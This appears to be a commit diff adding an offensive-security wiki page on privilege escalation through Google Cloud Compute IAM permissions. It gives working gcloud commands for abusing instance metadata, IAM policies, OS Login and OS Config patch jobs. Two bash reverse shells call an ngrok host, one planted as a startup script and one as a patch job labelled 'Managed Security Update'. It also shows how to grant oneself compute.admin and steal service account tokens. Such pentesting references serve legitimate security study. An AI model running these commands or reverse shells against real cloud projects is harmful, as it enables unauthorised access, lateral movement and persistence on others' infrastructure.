|
| 1 | +# GCP - Compute Privesc |
| 2 | + |
| 3 | +{{#include ../../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Compute |
| 6 | + |
| 7 | +For more information about Compute and VPC (netowork) in GCP check: |
| 8 | + |
| 9 | +{{#ref}} |
| 10 | +../../gcp-services/gcp-compute-instances-enum/ |
| 11 | +{{#endref}} |
| 12 | + |
| 13 | +> [!CAUTION] |
| 14 | +> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached! |
| 15 | +
|
| 16 | +### `compute.projects.setCommonInstanceMetadata` |
| 17 | + |
| 18 | +With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\ |
| 19 | +Limitations: |
| 20 | + |
| 21 | +- Note that GCP Service Accounts running in VM instances by default have a **very limited scope** |
| 22 | +- You will need to be **able to contact the SSH** server to login |
| 23 | + |
| 24 | +For more information about how to exploit this permission check: |
| 25 | + |
| 26 | +{{#ref}} |
| 27 | +gcp-add-custom-ssh-metadata.md |
| 28 | +{{#endref}} |
| 29 | + |
| 30 | +You could aslo perform this attack by adding new startup-script and rebooting the instance: |
| 31 | + |
| 32 | +```bash |
| 33 | +gcloud compute instances add-metadata my-vm-instance \ |
| 34 | + --metadata startup-script='#!/bin/bash |
| 35 | +bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &' |
| 36 | + |
| 37 | +gcloud compute instances reset my-vm-instance |
| 38 | +``` |
| 39 | + |
| 40 | +### `compute.instances.setMetadata` |
| 41 | + |
| 42 | +This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**. |
| 43 | + |
| 44 | +### `compute.instances.setIamPolicy` |
| 45 | + |
| 46 | +This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account: |
| 47 | + |
| 48 | +```bash |
| 49 | +export SERVER_SERVICE_ACCOUNT=YOUR_SA |
| 50 | +export INSTANCE=YOUR_INSTANCE |
| 51 | +export ZONE=YOUR_INSTANCE_ZONE |
| 52 | + |
| 53 | +cat <<EOF > policy.json |
| 54 | +bindings: |
| 55 | +- members: |
| 56 | + - serviceAccount:$SERVER_SERVICE_ACCOUNT |
| 57 | + role: roles/compute.admin |
| 58 | +version: 1 |
| 59 | +EOF |
| 60 | + |
| 61 | +gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE |
| 62 | +``` |
| 63 | + |
| 64 | +### **`compute.instances.osLogin`** |
| 65 | + |
| 66 | +If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance. |
| 67 | + |
| 68 | +> [!TIP] |
| 69 | +> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM. |
| 70 | +
|
| 71 | +### **`compute.instances.osAdminLogin`** |
| 72 | + |
| 73 | +If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance. |
| 74 | + |
| 75 | +> [!TIP] |
| 76 | +> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM. |
| 77 | +
|
| 78 | +### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp` |
| 79 | + |
| 80 | +It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it. |
| 81 | + |
| 82 | +The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py). |
| 83 | + |
| 84 | +### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec` |
| 85 | + |
| 86 | +If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project. |
| 87 | + |
| 88 | +Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance. |
| 89 | + |
| 90 | +If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\ |
| 91 | +For a patch job run: |
| 92 | + |
| 93 | +```python |
| 94 | +cat > /tmp/patch-job.sh <<EOF |
| 95 | +#!/bin/bash |
| 96 | +bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1 |
| 97 | +EOF |
| 98 | + |
| 99 | +gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh |
| 100 | + |
| 101 | +# Get the generation number |
| 102 | +gsutil ls -a gs://readable-bucket-by-sa-in-instance |
| 103 | + |
| 104 | +gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \ |
| 105 | + --instance-filter-names=zones/us-central1-a/instances/<instance-name> \ |
| 106 | + --pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \ |
| 107 | + --reboot-config=never \ |
| 108 | + --display-name="Managed Security Update" \ |
| 109 | + --duration=300s |
| 110 | +``` |
| 111 | + |
| 112 | +To deploy a patch deployment: |
| 113 | + |
| 114 | +```bash |
| 115 | +gcloud compute os-config patch-deployments create <name> ... |
| 116 | +``` |
| 117 | + |
| 118 | +The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working). |
| 119 | + |
| 120 | +**An attacker could also abuse this for persistence.** |
| 121 | + |
| 122 | +### `compute.machineImages.setIamPolicy` |
| 123 | + |
| 124 | +**Grant yourself extra permissions** to compute Image. |
| 125 | + |
| 126 | +### `compute.snapshots.setIamPolicy` |
| 127 | + |
| 128 | +**Grant yourself extra permissions** to a disk snapshot. |
| 129 | + |
| 130 | +### `compute.disks.setIamPolicy` |
| 131 | + |
| 132 | +**Grant yourself extra permissions** to a disk. |
| 133 | + |
| 134 | +### Bypass Access Scopes |
| 135 | + |
| 136 | +Following this link you find some [**ideas to try to bypass access scopes**](../index.html). |
| 137 | + |
| 138 | +### Local Privilege Escalation in GCP Compute instance |
| 139 | + |
| 140 | +{{#ref}} |
| 141 | +../gcp-local-privilege-escalation-ssh-pivoting.md |
| 142 | +{{#endref}} |
| 143 | + |
| 144 | +## References |
| 145 | + |
| 146 | +- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) |
| 147 | + |
| 148 | +{{#include ../../../../banners/hacktricks-training.md}} |
| 149 | + |
| 150 | + |
| 151 | + |
0 commit comments